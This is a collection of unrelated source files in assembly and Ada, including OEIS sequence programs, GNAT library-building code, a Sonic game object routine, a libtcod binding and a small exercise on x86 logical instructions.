jp nz,__sam_printc
ELIF FORzxn
ld a,(__zx_screenmode)
bit 6,a
jp nz,generic_console_zxn_tile_printc
ENDIF
ld hl,(__zx_print_routine)
jp (hl)
SECTION bss_driver
expect_flags: defb 0
; bit 0 - expect flash
; bit 1 - expect bright
; bit 2 - expect font low
; bit 3 - expect font high
; bit 4 - expect switch
SECTION code_crt_init
; If we've forced 32 column mode at the crt0 level, then
; switch to it
EXTERN __CLIB_ZX_CONIO32
IF FORsam
ld hl,__zx_printc64
ld (__zx_print_routine),hl
ld a,64
ld (__zx_mode0_console_w),a
ELSE
ld a,__CLIB_ZX_CONIO32
and a
ld a,64
ld hl,__zx_printc64
jr z,no_set_32col
ld a,32
ld hl,__zx_printc32
no_set_32col:
ld (__zx_print_routine),hl
ld (__console_w),a
ld (__zx_mode0_console_w),a
ENDIF
|
programs/oeis/156/A156283.asm | jmorken/loda | 1 | 88812 | <gh_stars>1-10
; A156283: Period 6: repeat [1, 2, 4, -4, -2, -1].
; 1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2,4,-4,-2,-1,1,2
add $0,2
mov $2,$0
div $2,2
add $2,$0
mov $0,1
add $0,$2
sub $0,3
lpb $0
sub $0,9
lpe
mul $0,2
sub $0,1
mov $1,$0
sub $1,1
div $1,2
add $1,1
|
tlsf/src/tlsf-block.ads | vasil-sd/ada-tlsf | 3 | 897 | <filename>tlsf/src/tlsf-block.ads
package TLSF.Block with SPARK_Mode, Pure, Preelaborate is
end TLSF.Block;
|
doc/expli_genericite.adb | SKNZ/BoiteMaker | 0 | 3256 | <filename>doc/expli_genericite.adb
procedure mv_l(point : in out point_t; delta_x : integer) is
begin
mv_l(point, float(delta_x));
end;
procedure int_mv(point : in out point_t; delta_axis : integer; mv : access procedure(point : in out point_t; delta_axis : float)) is
begin
mv(point, float(delta_axis));
end;
int_mv(point, delta_x, mv_l_ptr);
mv_l(point, float(delta_x));
mv_l(point, delta_x);
generic
mv : mv_ptr;
procedure int_mv(point : in out point_t; delta_axis : integer);
procedure int_mv(point : in out point_t; delta_axis : integer) is
begin
mv(point, float(delta_axis * mult));
end;
procedure internal_int_mv_l is new int_mv(mv_l_ptr);
procedure internal_int_mv_r is new int_mv(mv_r_ptr);
procedure internal_int_mv_u is new int_mv(mv_u_ptr);
procedure internal_int_mv_d is new int_mv(mv_d_ptr);
-- definition des fonctions de mouvement (celles-ci sont déclarées dans le package)
procedure mv_l(point : in out point_t; delta_x : integer) renames internal_int_mv_l;
procedure mv_r(point : in out point_t; delta_x : integer) renames internal_int_mv_r;
procedure mv_u(point : in out point_t; delta_y : integer) renames internal_int_mv_u;
procedure mv_d(point : in out point_t; delta_y : integer) renames internal_int_mv_d;
|
oeis/053/A053699.asm | neoneye/loda-programs | 11 | 4022 | ; A053699: a(n) = n^4 + n^3 + n^2 + n + 1.
; 1,5,31,121,341,781,1555,2801,4681,7381,11111,16105,22621,30941,41371,54241,69905,88741,111151,137561,168421,204205,245411,292561,346201,406901,475255,551881,637421,732541,837931,954305,1082401,1222981,1376831,1544761,1727605,1926221,2141491,2374321,2625641,2896405,3187591,3500201,3835261,4193821,4576955,4985761,5421361,5884901,6377551,6900505,7454981,8042221,8663491,9320081,10013305,10744501,11515031,12326281,13179661,14076605,15018571,16007041,17043521,18129541,19266655,20456441,21700501
mov $1,$0
pow $0,2
add $1,$0
add $0,1
mul $0,$1
add $0,1
|
llvm-gcc-4.2-2.9/gcc/ada/mlib-tgt-tru64.adb | vidkidz/crossbridge | 1 | 12339 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- M L I B . T G T --
-- (True64 Version) --
-- --
-- B o d y --
-- --
-- Copyright (C) 2002-2005 Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package provides a set of target dependent routines to build
-- static, dynamic and shared libraries.
-- This is the True64 version of the body
with MLib.Fil;
with MLib.Utl;
with Namet; use Namet;
with Opt;
with Output; use Output;
with Prj.Com;
with System;
package body MLib.Tgt is
use GNAT;
use MLib;
Expect_Unresolved : aliased String := "-Wl,-expect_unresolved,*";
---------------------
-- Archive_Builder --
---------------------
function Archive_Builder return String is
begin
return "ar";
end Archive_Builder;
-----------------------------
-- Archive_Builder_Options --
-----------------------------
function Archive_Builder_Options return String_List_Access is
begin
return new String_List'(1 => new String'("cr"));
end Archive_Builder_Options;
-----------------
-- Archive_Ext --
-----------------
function Archive_Ext return String is
begin
return "a";
end Archive_Ext;
---------------------
-- Archive_Indexer --
---------------------
function Archive_Indexer return String is
begin
return "ranlib";
end Archive_Indexer;
-----------------------------
-- Archive_Indexer_Options --
-----------------------------
function Archive_Indexer_Options return String_List_Access is
begin
return new String_List (1 .. 0);
end Archive_Indexer_Options;
---------------------------
-- Build_Dynamic_Library --
---------------------------
procedure Build_Dynamic_Library
(Ofiles : Argument_List;
Foreign : Argument_List;
Afiles : Argument_List;
Options : Argument_List;
Options_2 : Argument_List;
Interfaces : Argument_List;
Lib_Filename : String;
Lib_Dir : String;
Symbol_Data : Symbol_Record;
Driver_Name : Name_Id := No_Name;
Lib_Version : String := "";
Auto_Init : Boolean := False)
is
pragma Unreferenced (Foreign);
pragma Unreferenced (Afiles);
pragma Unreferenced (Interfaces);
pragma Unreferenced (Symbol_Data);
pragma Unreferenced (Auto_Init);
-- Initialization is done through the contructor mechanism
Lib_File : constant String :=
Lib_Dir & Directory_Separator & "lib" &
Fil.Ext_To (Lib_Filename, DLL_Ext);
Version_Arg : String_Access;
Symbolic_Link_Needed : Boolean := False;
begin
if Opt.Verbose_Mode then
Write_Str ("building relocatable shared library ");
Write_Line (Lib_File);
end if;
-- If specified, add automatic elaboration/finalization
if Lib_Version = "" then
Utl.Gcc
(Output_File => Lib_File,
Objects => Ofiles,
Options => Options & Expect_Unresolved'Access,
Options_2 => Options_2,
Driver_Name => Driver_Name);
else
Version_Arg := new String'("-Wl,-soname," & Lib_Version);
if Is_Absolute_Path (Lib_Version) then
Utl.Gcc
(Output_File => Lib_Version,
Objects => Ofiles,
Options =>
Options & Version_Arg & Expect_Unresolved'Access,
Options_2 => Options_2,
Driver_Name => Driver_Name);
Symbolic_Link_Needed := Lib_Version /= Lib_File;
else
Utl.Gcc
(Output_File => Lib_Dir & Directory_Separator & Lib_Version,
Objects => Ofiles,
Options =>
Options & Version_Arg & Expect_Unresolved'Access,
Options_2 => Options_2,
Driver_Name => Driver_Name);
Symbolic_Link_Needed :=
Lib_Dir & Directory_Separator & Lib_Version /= Lib_File;
end if;
if Symbolic_Link_Needed then
declare
Success : Boolean;
Oldpath : String (1 .. Lib_Version'Length + 1);
Newpath : String (1 .. Lib_File'Length + 1);
Result : Integer;
pragma Unreferenced (Result);
function Symlink
(Oldpath : System.Address;
Newpath : System.Address)
return Integer;
pragma Import (C, Symlink, "__gnat_symlink");
begin
Oldpath (1 .. Lib_Version'Length) := Lib_Version;
Oldpath (Oldpath'Last) := ASCII.NUL;
Newpath (1 .. Lib_File'Length) := Lib_File;
Newpath (Newpath'Last) := ASCII.NUL;
Delete_File (Lib_File, Success);
Result := Symlink (Oldpath'Address, Newpath'Address);
end;
end if;
end if;
end Build_Dynamic_Library;
-------------
-- DLL_Ext --
-------------
function DLL_Ext return String is
begin
return "so";
end DLL_Ext;
----------------
-- DLL_Prefix --
----------------
function DLL_Prefix return String is
begin
return "lib";
end DLL_Prefix;
--------------------
-- Dynamic_Option --
--------------------
function Dynamic_Option return String is
begin
return "-shared";
end Dynamic_Option;
-------------------
-- Is_Object_Ext --
-------------------
function Is_Object_Ext (Ext : String) return Boolean is
begin
return Ext = ".o";
end Is_Object_Ext;
--------------
-- Is_C_Ext --
--------------
function Is_C_Ext (Ext : String) return Boolean is
begin
return Ext = ".c";
end Is_C_Ext;
--------------------
-- Is_Archive_Ext --
--------------------
function Is_Archive_Ext (Ext : String) return Boolean is
begin
return Ext = ".a" or else Ext = ".so";
end Is_Archive_Ext;
-------------
-- Libgnat --
-------------
function Libgnat return String is
begin
return "libgnat.a";
end Libgnat;
------------------------
-- Library_Exists_For --
------------------------
function Library_Exists_For
(Project : Project_Id; In_Tree : Project_Tree_Ref) return Boolean
is
begin
if not In_Tree.Projects.Table (Project).Library then
Prj.Com.Fail ("INTERNAL ERROR: Library_Exists_For called " &
"for non library project");
return False;
else
declare
Lib_Dir : constant String :=
Get_Name_String
(In_Tree.Projects.Table (Project).Library_Dir);
Lib_Name : constant String :=
Get_Name_String
(In_Tree.Projects.Table (Project).Library_Name);
begin
if In_Tree.Projects.Table (Project).Library_Kind =
Static
then
return Is_Regular_File
(Lib_Dir & Directory_Separator & "lib" &
Fil.Ext_To (Lib_Name, Archive_Ext));
else
return Is_Regular_File
(Lib_Dir & Directory_Separator & "lib" &
Fil.Ext_To (Lib_Name, DLL_Ext));
end if;
end;
end if;
end Library_Exists_For;
---------------------------
-- Library_File_Name_For --
---------------------------
function Library_File_Name_For
(Project : Project_Id;
In_Tree : Project_Tree_Ref) return Name_Id
is
begin
if not In_Tree.Projects.Table (Project).Library then
Prj.Com.Fail ("INTERNAL ERROR: Library_File_Name_For called " &
"for non library project");
return No_Name;
else
declare
Lib_Name : constant String :=
Get_Name_String
(In_Tree.Projects.Table (Project).Library_Name);
begin
Name_Len := 3;
Name_Buffer (1 .. Name_Len) := "lib";
if In_Tree.Projects.Table (Project).Library_Kind =
Static
then
Add_Str_To_Name_Buffer (Fil.Ext_To (Lib_Name, Archive_Ext));
else
Add_Str_To_Name_Buffer (Fil.Ext_To (Lib_Name, DLL_Ext));
end if;
return Name_Find;
end;
end if;
end Library_File_Name_For;
----------------
-- Object_Ext --
----------------
function Object_Ext return String is
begin
return "o";
end Object_Ext;
----------------
-- PIC_Option --
----------------
function PIC_Option return String is
begin
return "";
end PIC_Option;
-----------------------------------------------
-- Standalone_Library_Auto_Init_Is_Supported --
-----------------------------------------------
function Standalone_Library_Auto_Init_Is_Supported return Boolean is
begin
return True;
end Standalone_Library_Auto_Init_Is_Supported;
---------------------------
-- Support_For_Libraries --
---------------------------
function Support_For_Libraries return Library_Support is
begin
return Full;
end Support_For_Libraries;
end MLib.Tgt;
|
oeis/091/A091526.asm | neoneye/loda-programs | 11 | 163267 | ; A091526: Coefficient of x^n in 1/((1+x)*(1-x)^(n-1)).
; Submitted by <NAME>
; 1,-1,1,2,9,34,130,496,1897,7274,27966,107788,416394,1611908,6251596,24287212,94499689,368202778,1436458486,5610483532,21936442894,85852554748,336300861436,1318441228432,5172792817834,20309402206084,79791307323820,313675892977016,1233833071831572,4855853462904184,19120280926552320,75323309208277604,296864974298080105,1170501553680854650,4616984418259528870,18218344855150937356,71914250440014364134,283967481601759948844,1121663378126217940588,4431899934669830344256,17516385812834383039182
mov $3,$0
mov $5,$0
add $5,1
lpb $5
mov $0,$3
mov $2,-2
sub $5,1
sub $0,$5
add $2,$3
add $0,$2
bin $0,$2
mul $4,-1
add $4,$0
lpe
mov $0,$4
|
oeis/105/A105773.asm | neoneye/loda-programs | 11 | 1465 | <gh_stars>10-100
; A105773: Numbers n such that 11*n + 97 is prime.
; 0,6,12,14,20,26,32,50,54,60,66,74,80,84,90,92,96,110,116,122,126,132,134,140,150,162,164,174,182,186,200,204,216,222,234,236,246,260,264,266,270,272,284,294,306,312,320,330,336,344,350,356,360,362,374,392,402,414,416,426,434,440,446,456,462,476,482,486,494,504,522,524,530,540,560,564,566,570,572,584,596,602,606,612,620,624,626,630,642,650,672,680,684,686,690,696,704,710,714,720
add $0,2
seq $0,141856 ; Primes congruent to 9 mod 11.
sub $0,97
div $0,11
|
src/generated/renderer_gl2_h.ads | csb6/libtcod-ada | 0 | 4706 | pragma Ada_2012;
pragma Style_Checks (Off);
with Interfaces.C; use Interfaces.C;
with utypes_uuint32_t_h;
with renderer_gl_h;
with Interfaces.C.Strings;
limited with tileset_h;
limited with context_h;
package renderer_gl2_h is
-- BSD 3-Clause License
-- *
-- * Copyright © 2008-2021, Jice and the libtcod contributors.
-- * All rights reserved.
-- *
-- * Redistribution and use in source and binary forms, with or without
-- * modification, are permitted provided that the following conditions are met:
-- *
-- * 1. Redistributions of source code must retain the above copyright notice,
-- * this list of conditions and the following disclaimer.
-- *
-- * 2. Redistributions in binary form must reproduce the above copyright notice,
-- * this list of conditions and the following disclaimer in the documentation
-- * and/or other materials provided with the distribution.
-- *
-- * 3. Neither the name of the copyright holder nor the names of its
-- * contributors may be used to endorse or promote products derived from
-- * this software without specific prior written permission.
-- *
-- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-- * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-- * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
-- * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-- * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-- * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-- * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-- * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-- * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-- * POSSIBILITY OF SUCH DAMAGE.
--
type anon2318_array2319 is array (0 .. 2) of aliased utypes_uuint32_t_h.uint32_t;
type TCOD_RendererGL2 is record
common : aliased renderer_gl_h.TCOD_RendererGLCommon; -- renderer_gl2.h:43
program : aliased utypes_uuint32_t_h.uint32_t; -- renderer_gl2.h:44
console_textures : aliased anon2318_array2319; -- renderer_gl2.h:45
console_width : aliased int; -- renderer_gl2.h:46
console_height : aliased int; -- renderer_gl2.h:47
vertex_buffer : aliased utypes_uuint32_t_h.uint32_t; -- renderer_gl2.h:48
end record
with Convention => C_Pass_By_Copy; -- renderer_gl2.h:42
-- ch, fg, bg
function TCOD_renderer_new_gl2
(arg1 : int;
arg2 : int;
arg3 : int;
arg4 : int;
arg5 : Interfaces.C.Strings.chars_ptr;
arg6 : int;
arg7 : int;
arg8 : access tileset_h.TCOD_Tileset) return access context_h.TCOD_Context -- renderer_gl2.h:51
with Import => True,
Convention => C,
External_Name => "TCOD_renderer_new_gl2";
end renderer_gl2_h;
|
programs/oeis/109/A109008.asm | karttu/loda | 1 | 159 | <reponame>karttu/loda<gh_stars>1-10
; A109008: a(n) = gcd(n,4).
; 4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4,1,2,1,4
mov $1,$0
gcd $1,4
|
Task/Knuths-algorithm-S/Ada/knuths-algorithm-s-2.ada | mullikine/RosettaCodeData | 1 | 23292 | with Ada.Numerics.Float_Random, Ada.Numerics.Discrete_Random;
package body S_Of_N_Creator is
package F_Rnd renames Ada.Numerics.Float_Random;
F_Gen: F_Rnd.Generator;
package D_Rnd is new Ada.Numerics.Discrete_Random(Index_Type);
D_Gen: D_Rnd.Generator;
Item_Count: Natural := 0; -- this is a global counter
Sample: Item_Array; -- also used globally
procedure Update(New_Item: Item_Type) is
begin
Item_Count := Item_Count + 1;
if Item_Count <= Sample_Size then
-- select the first Sample_Size items as the sample
Sample(Item_Count) := New_Item;
else
-- for I-th item, I > Sample_Size: Sample_Size/I chance of keeping it
if (Float(Sample_Size)/Float(Item_Count)) > F_Rnd.Random(F_Gen) then
-- randomly (1/Sample_Size) replace one of the items of the sample
Sample(D_Rnd.Random(D_Gen)) := New_Item;
end if;
end if;
end Update;
function Result return Item_Array is
begin
Item_Count := 0; -- ready to start another run
return Sample;
end Result;
begin
D_Rnd.Reset(D_Gen); -- at package instantiation, initialize rnd-generators
F_Rnd.Reset(F_Gen);
end S_Of_N_Creator;
|
programs/oeis/270/A270700.asm | neoneye/loda | 22 | 16542 | <gh_stars>10-100
; A270700: Triangular Star of David numbers (the figurate number of triangles framing a hexagram: a(0) = 12; thereafter a(n) = 36*n+6).
; 12,42,78,114,150,186,222,258,294,330,366,402,438,474,510,546,582,618,654,690,726,762,798,834,870,906,942,978,1014,1050,1086,1122,1158,1194,1230,1266,1302,1338,1374,1410,1446,1482,1518,1554,1590,1626,1662,1698,1734,1770,1806,1842,1878,1914,1950,1986,2022,2058,2094,2130,2166,2202,2238,2274,2310,2346,2382,2418,2454,2490,2526,2562,2598,2634,2670,2706,2742,2778,2814,2850,2886,2922,2958,2994,3030,3066,3102,3138,3174,3210,3246,3282,3318,3354,3390,3426,3462,3498,3534,3570
mul $0,6
trn $0,1
mul $0,6
add $0,12
|
_incObj/57 Spiked Ball and Chain.asm | kodishmediacenter/msu-md-sonic | 9 | 102844 | <filename>_incObj/57 Spiked Ball and Chain.asm<gh_stars>1-10
; ---------------------------------------------------------------------------
; Object 57 - spiked balls (SYZ, LZ)
; ---------------------------------------------------------------------------
SpikeBall:
moveq #0,d0
move.b obRoutine(a0),d0
move.w SBall_Index(pc,d0.w),d1
jmp SBall_Index(pc,d1.w)
; ===========================================================================
SBall_Index: dc.w SBall_Main-SBall_Index
dc.w SBall_Move-SBall_Index
dc.w SBall_Display-SBall_Index
sball_childs: equ $29 ; number of child objects (1 byte)
; $30-$37 ; object RAM numbers of childs (1 byte each)
sball_origX: equ $3A ; centre x-axis position (2 bytes)
sball_origY: equ $38 ; centre y-axis position (2 bytes)
sball_radius: equ $3C ; radius (1 byte)
sball_speed: equ $3E ; rate of spin (2 bytes)
; ===========================================================================
SBall_Main: ; Routine 0
addq.b #2,obRoutine(a0)
move.l #Map_SBall,obMap(a0)
move.w #$3BA,obGfx(a0)
move.b #4,obRender(a0)
move.b #4,obPriority(a0)
move.b #8,obActWid(a0)
move.w obX(a0),sball_origX(a0)
move.w obY(a0),sball_origY(a0)
move.b #$98,obColType(a0) ; SYZ specific code (chain hurts Sonic)
cmpi.b #id_LZ,(v_zone).w ; check if level is LZ
bne.s @notlz
move.b #0,obColType(a0) ; LZ specific code (chain doesn't hurt)
move.w #$310,obGfx(a0)
move.l #Map_SBall2,obMap(a0)
@notlz:
move.b obSubtype(a0),d1 ; get object type
andi.b #$F0,d1 ; read only the 1st digit
ext.w d1
asl.w #3,d1 ; multiply by 8
move.w d1,sball_speed(a0) ; set object twirl speed
move.b obStatus(a0),d0
ror.b #2,d0
andi.b #$C0,d0
move.b d0,obAngle(a0)
lea sball_childs(a0),a2
move.b obSubtype(a0),d1 ; get object type
andi.w #7,d1 ; read only the 2nd digit
move.b #0,(a2)+
move.w d1,d3
lsl.w #4,d3
move.b d3,sball_radius(a0)
subq.w #1,d1 ; set chain length (type-1)
bcs.s @fail
btst #3,obSubtype(a0)
beq.s @makechain
subq.w #1,d1
bcs.s @fail
@makechain:
bsr.w FindFreeObj
bne.s @fail
addq.b #1,sball_childs(a0) ; increment child object counter
move.w a1,d5 ; get child object RAM address
subi.w #$D000,d5 ; subtract $D000
lsr.w #6,d5 ; divide by $40
andi.w #$7F,d5
move.b d5,(a2)+ ; copy child RAM number
move.b #4,obRoutine(a1)
move.b 0(a0),0(a1)
move.l obMap(a0),obMap(a1)
move.w obGfx(a0),obGfx(a1)
move.b obRender(a0),obRender(a1)
move.b obPriority(a0),obPriority(a1)
move.b obActWid(a0),obActWid(a1)
move.b obColType(a0),obColType(a1)
subi.b #$10,d3
move.b d3,sball_radius(a1)
cmpi.b #id_LZ,(v_zone).w ; check if level is LZ
bne.s @notlzagain
tst.b d3
bne.s @notlzagain
move.b #2,obFrame(a1) ; use different frame for LZ chain
@notlzagain:
dbf d1,@makechain ; repeat for length of chain
@fail:
move.w a0,d5
subi.w #$D000,d5
lsr.w #6,d5
andi.w #$7F,d5
move.b d5,(a2)+
cmpi.b #id_LZ,(v_zone).w ; check if level is LZ
bne.s SBall_Move
move.b #$8B,obColType(a0) ; if yes, make last spikeball larger
move.b #1,obFrame(a0) ; use different frame
SBall_Move: ; Routine 2
bsr.w @movesub
bra.w @chkdel
; ===========================================================================
@movesub:
move.w sball_speed(a0),d0
add.w d0,obAngle(a0)
move.b obAngle(a0),d0
jsr (CalcSine).l
move.w sball_origY(a0),d2
move.w sball_origX(a0),d3
lea sball_childs(a0),a2
moveq #0,d6
move.b (a2)+,d6
@loop:
moveq #0,d4
move.b (a2)+,d4
lsl.w #6,d4
addi.l #v_objspace&$FFFFFF,d4
movea.l d4,a1
moveq #0,d4
move.b sball_radius(a1),d4
move.l d4,d5
muls.w d0,d4
asr.l #8,d4
muls.w d1,d5
asr.l #8,d5
add.w d2,d4
add.w d3,d5
move.w d4,obY(a1)
move.w d5,obX(a1)
dbf d6,@loop
rts
; ===========================================================================
@chkdel:
out_of_range @delete,sball_origX(a0)
bra.w DisplaySprite
; ===========================================================================
@delete:
moveq #0,d2
lea sball_childs(a0),a2
move.b (a2)+,d2
@deleteloop:
moveq #0,d0
move.b (a2)+,d0
lsl.w #6,d0
addi.l #v_objspace&$FFFFFF,d0
movea.l d0,a1
bsr.w DeleteChild
dbf d2,@deleteloop ; delete all pieces of chain
rts
; ===========================================================================
SBall_Display: ; Routine 4
bra.w DisplaySprite
|
libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/invsqrt_fastcall.asm | ahjelm/z88dk | 640 | 161264 | <filename>libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sccz80/invsqrt_fastcall.asm
SECTION code_fp_math16
PUBLIC invsqrtf16_fastcall
EXTERN asm_f16_invsqrt
defc invsqrtf16_fastcall = asm_f16_invsqrt
|
libsrc/_DEVELOPMENT/arch/ts2068/display/c/sccz80/tshc_aaddrcleft.asm | Frodevan/z88dk | 640 | 98207 | <gh_stars>100-1000
; void *tshc_aaddrcleft(void *aaddr)
SECTION code_clib
SECTION code_arch
PUBLIC tshc_aaddrcleft
EXTERN zx_saddrcleft
defc tshc_aaddrcleft = zx_saddrcleft
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _tshc_aaddrcleft
defc _tshc_aaddrcleft = tshc_aaddrcleft
ENDIF
|
programs/oeis/059/A059174.asm | jmorken/loda | 1 | 85461 | <gh_stars>1-10
; A059174: Maximal number of regions into which 5-space can be divided by n hyper-spheres.
; 1,2,4,8,16,32,64,126,240,438,764,1276,2048,3172,4760,6946,9888,13770,18804,25232,33328,43400,55792,70886,89104,110910,136812,167364,203168,244876,293192,348874,412736,485650,568548,662424,768336,887408,1020832,1169870,1335856,1520198,1724380,1949964,2198592,2471988,2771960,3100402,3459296,3850714,4276820,4739872,5242224,5786328,6374736,7010102,7695184,8432846,9226060,10077908,10991584,11970396,13017768,14137242,15332480,16607266,17965508,19411240,20948624,22581952,24315648,26154270,28102512,30165206,32347324,34653980,37090432,39662084,42374488,45233346,48244512,51413994,54747956,58252720,61934768,65800744,69857456,74111878,78571152,83242590,88133676,93252068,98605600,104202284,110050312,116158058,122534080,129187122,136126116,143360184,150898640,158750992,166926944,175436398,184289456,193496422,203067804,213014316,223346880,234076628,245214904,256773266,268763488,281197562,294087700,307446336,321286128,335619960,350460944,365822422,381717968,398161390,415166732,432748276,450920544,469698300,489096552,509130554,529815808,551168066,573203332,595937864,619388176,643571040,668503488,694202814,720686576,747972598,776078972,805024060,834826496,865505188,897079320,929568354,962992032,997370378,1032723700,1069072592,1106437936,1144840904,1184302960,1224845862,1266491664,1309262718,1353181676,1398271492,1444555424,1492057036,1540800200,1590809098,1642108224,1694722386,1748676708,1803996632,1860707920,1918836656,1978409248,2039452430,2101993264,2166059142,2231677788,2298877260,2367685952,2438132596,2510246264,2584056370,2659592672,2736885274,2815964628,2896861536,2979607152,3064232984,3150770896,3239253110,3329712208,3422181134,3516693196,3613282068,3711981792,3812826780,3915851816,4021092058,4128583040,4238360674,4350461252,4464921448,4581778320,4701069312,4822832256,4947105374,5073927280,5203336982,5335373884,5470077788,5607488896,5747647812,5890595544,6036373506,6185023520,6336587818,6491109044,6648630256,6809194928,6972846952,7139630640,7309590726,7482772368,7659221150,7838983084,8022104612,8208632608,8398614380,8592097672,8789130666,8989761984,9194040690,9402016292,9613738744,9829258448,10048626256,10271893472,10499111854,10730333616,10965611430,11204998428,11448548204,11696314816,11948352788,12204717112,12465463250,12730647136,13000325178,13274554260,13553391744,13836895472,14125123768,14418135440,14715989782,15018746576,15326466094
mov $27,$0
mov $29,2
lpb $29
mov $0,$27
sub $29,1
add $0,$29
sub $0,1
cal $0,115567 ; a(n) = C(n,6) + C(n,5) + C(n,4) + C(n,3) + C(n,2) + C(n,1).
add $3,3
lpb $2,5
add $0,2
lpb $3
lpb $3
mul $0,2
mov $3,2
mov $5,3
lpe
lpb $5
mov $1,$0
div $5,8
lpe
lpe
lpe
sub $1,3
mov $30,$29
lpb $30
mov $28,$1
sub $30,1
lpe
lpe
lpb $27
mov $27,0
sub $28,$1
lpe
mov $1,$28
|
programs/oeis/077/A077413.asm | neoneye/loda | 22 | 175539 | <filename>programs/oeis/077/A077413.asm
; A077413: Bisection (odd part) of Chebyshev sequence with Diophantine property.
; 2,13,76,443,2582,15049,87712,511223,2979626,17366533,101219572,589950899,3438485822,20040964033,116807298376,680802826223,3968009658962,23127255127549,134795521106332,785645871510443,4579079707956326,26688832376227513,155553914549408752,906634654920224999,5284254014971941242,30798889434911422453,179509082594496593476,1046255606132068138403,6098024554197912236942,35541891719055405283249,207153325760134519462552,1207378062841751711492063,7037115051290375749489826,41015312244900502785446893,239054758418112640963191532,1393313238263775342993702299,8120824671164539416999022262,47331634788723461159000431273,275868984061176227537003565376,1607882269578333904063020960983,9371424633408827196841122200522,54620665530874629276983712242149,318352568551838948465061151252372,1855494745780159061513383195272083,10814615906129115420615238020380126,63032200690994533462178044927008673,367378588239838085352453031541671912
mov $1,7
mov $2,4
lpb $0
sub $0,1
add $1,$2
add $2,$1
add $2,$1
add $1,$2
lpe
mov $0,$2
div $0,2
|
examples/test_time.adb | ytomino/web-ada | 2 | 8492 | <filename>examples/test_time.adb
with Ada.Calendar.Formatting;
with Ada.Calendar.Time_Zones;
with Ada.Command_Line;
with Ada.Text_IO;
with Web;
procedure test_time is
use type Ada.Calendar.Time;
use type Ada.Calendar.Time_Zones.Time_Offset;
Verbose : Boolean := False;
S : constant String := Web.Image (Ada.Calendar.Clock);
begin
for I in 1 .. Ada.Command_Line.Argument_Count loop
if Ada.Command_Line.Argument (I) = "-v" then
Verbose := True;
end if;
end loop;
if Verbose then
Ada.Text_IO.Put_Line (S);
end if;
if S /= Web.Image (Web.Value (S)) then
raise Program_Error;
end if;
if Web.Value ("Thu, 21 Jul 2005 14:46:19 +0900")
/= Ada.Calendar.Formatting.Time_Of (2005, 7, 21, 14, 46, 19,
Time_Zone => 9 * 60)
then
raise Program_Error;
end if;
-- finish
Ada.Text_IO.Put_Line (Ada.Text_IO.Standard_Error.all, "ok");
end test_time;
|
MODULE1/6-logical_instructions/thor/thor.asm | wetw0rk/SLAE | 18 | 15588 | <filename>MODULE1/6-logical_instructions/thor/thor.asm
; Executable name : thor
; Designed OS : Linux (32-bit)
; Author : wetw0rk
; Version : 1.0
; Created Following : SLAE
; Description : A simple program that shows how logical
; operators/instructions work. Thor sounds
; like XOR!
;
; Build using these commands:
; nasm -f elf32 -o thor.o thor.asm
; ld -o thor thor.o
;
; How to run and use this program (intention):
; gdb -q ./thor
;
SECTION .data
v1: db 0xaa
v2: dw 0xbbcc
v3: dd 0xdeadbeef
SECTION .text
global _start
_start:
; AND example
mov al,0x10 ; MOV 0x10 into AL
and al,0x01 ; AND will result in a zero. This is easy to
; understand by viewing the AND truth table.
and byte [v1],0xaa ; AND will result in 0xaa. The bit position gives this
; result. Once again check the truth table.
and word [v2],0x1122 ; AND will result in 0x1100 again check the table :)
; OR example
mov al,0x10 ; MOV 0x10 into AL
or al,0x01 ; AL = 11 this is pretty direct. If it does not make sense
; check the truth table
or byte [v1],0xaa ; v1 will be 0xaa for similiar reasons
mov eax,0 ; zero out eax
or eax,0x0 ; 0 or 0 = 0. Very clear.
; XOR example
xor dword [v3],0xdeadbeef ; zero out v3 since they are = to each other
xor dword [v3],0xdeadbeef ; since no longer the same v3 will contain 0xdeadbeef
; NOT example
mov eax,0xffffffff ; MOV 0xffffffff into EAX
not eax ; NOT will make EAX zero since 1 will now be 0.
; if confusing check truth table!
